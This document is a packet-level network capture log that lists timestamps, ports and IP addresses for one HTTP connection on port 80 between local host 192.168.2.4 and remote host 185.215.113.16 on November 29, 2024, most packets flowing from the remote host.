Nov 29, 2024 20:07:32.889981031 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.890328884 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.890908003 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.891084909 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.892055988 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.892247915 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.892271042 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.893244028 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.893383026 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.894325972 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.894455910 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.894552946 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.895663023 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.895828962 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.895857096 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.896886110 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.897020102 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.898076057 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.898103952 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.898220062 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.899303913 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.899331093 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.899395943 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.900481939 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.900532961 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.900559902 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.901681900 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.901807070 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.902328014 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.902861118 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.902966976 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.904078960 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.904191017 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.904213905 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.905276060 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.905391932 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.906322956 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.906517982 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.906621933 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.907632113 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.910327911 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.045747042 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.045871019 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.046319962 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.046401024 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.046441078 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.046442032 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.047605991 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.047768116 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.047796011 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.048772097 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.048913002 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.049959898 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.049990892 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.050021887 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.051171064 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.051202059 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.051245928 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.052438974 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.052576065 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.052608967 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.053565979 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.053664923 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.054327965 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.054733992 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.054846048 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.055944920 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.056060076 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.056087017 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.057142019 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.057332039 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.058331013 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.058352947 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.058454037 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.059575081 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.059693098 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.059720993 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.060769081 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.060859919 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.061949968 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.061980963 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.062053919 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.063169003 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.063206911 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.063282967 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.064378977 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.064475060 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.064477921 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.065565109 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.065659046 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.065721035 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.066775084 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.066802025 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.066879034 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.067986012 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.068075895 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.068104982 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.069185019 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.069303989 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.070327997 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.070405960 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.070491076 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.071587086 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.071693897 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.071722984 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.072838068 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.072952032 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.074002981 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.074033976 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.074139118 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.075215101 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.075241089 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.075292110 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.076421022 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.076620102 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.076647997 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.077661991 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.077867031 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.078325033 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.078854084 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.078984976 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.080053091 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.080126047 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.080149889 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.081235886 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.081362963 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.082324982 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.082458019 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.082570076 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.083625078 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.083728075 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.083755016 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.084860086 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.085037947 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.086051941 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.086083889 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.086230040 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.087318897 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.087352037 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.087383032 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.088540077 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.088799000 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.088826895 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.089656115 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.089755058 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.090329885 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.090851068 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.090960026 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.092166901 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.092276096 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.092305899 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.093362093 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.093478918 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.094326973 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.094510078 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.094667912 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.095725060 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.095814943 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.095844030 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.096926928 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.097065926 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.098113060 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.098144054 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.098226070 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.099360943 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.099407911 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.099602938 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.100570917 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.100707054 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.100744009 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.101789951 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.101927042 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.102325916 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.102893114 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.103025913 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.104109049 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.104260921 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.104289055 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.105304003 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.105598927 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.106329918 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.106530905 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.106688976 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.107745886 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.107806921 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.107845068 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.108901024 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.114332914 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.247066975 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.247179985 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.247617006 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.247735977 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.248881102 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.248923063 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.249012947 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.250068903 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.250247002 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.250283003 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.251255035 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.251311064 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.251646996 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.252721071 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.252835035 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.252865076 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.253698111 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.253814936 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.255203009 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.255234003 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.255242109 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.256088972 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.256335020 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.256366968 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.257314920 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.257433891 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.258508921 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.258537054 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.258703947 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.259798050 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.259970903 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.259998083 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.260881901 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.261028051 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.261054993 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.262105942 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.262228012 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.263746977 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.263776064 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.263876915 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.264620066 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.264851093 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.264880896 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.265757084 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.265851021 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.266990900 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.267020941 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.267052889 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.268115997 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.268203974 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.268233061 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.269318104 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.269382954 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.269408941 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.270519018 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.270761013 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.271739006 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.271764040 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.271842957 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.272911072 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.272984982 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.273016930 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.274128914 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.274243116 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.275283098 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.275309086 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.275387049 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.276516914 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.276588917 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.276614904 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.277715921 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.277785063 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.278949976 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.278979063 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.279014111 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.280134916 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.280250072 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.280280113 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.281308889 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.281339884 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.281419992 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.282535076 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.282646894 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.282680035 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.283751011 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.283857107 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.283911943 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.284993887 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.285049915 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.285087109 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.285130978 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.286211014 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.286253929 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.286324978 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.286361933 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.287429094 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.287465096 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.287614107 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.287653923 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.288535118 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.288575888 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.288660049 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.288711071 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.289872885 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.289912939 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.289947033 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.289987087 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.290976048 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.291013002 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.291084051 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.291121006 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.292166948 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.292207956 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.292231083 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.292273045 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.293382883 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.293428898 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.293463945 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.293502092 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.294569016 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.294608116 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.294666052 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.294706106 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.295768023 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.295804024 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.295958042 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.295996904 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.296962976 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.297053099 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.297168970 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.297207117 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.298316002 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.298352957 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.298438072 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.298474073 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.299428940 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.299465895 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.299503088 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.299546957 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.300642014 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.300681114 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.300769091 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.300810099 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.301795959 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.301831961 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.301909924 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.301954985 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.302999973 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.303039074 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.303075075 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.303116083 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.304239035 CET	80	50068	185.215.113.16	192.168.2.4
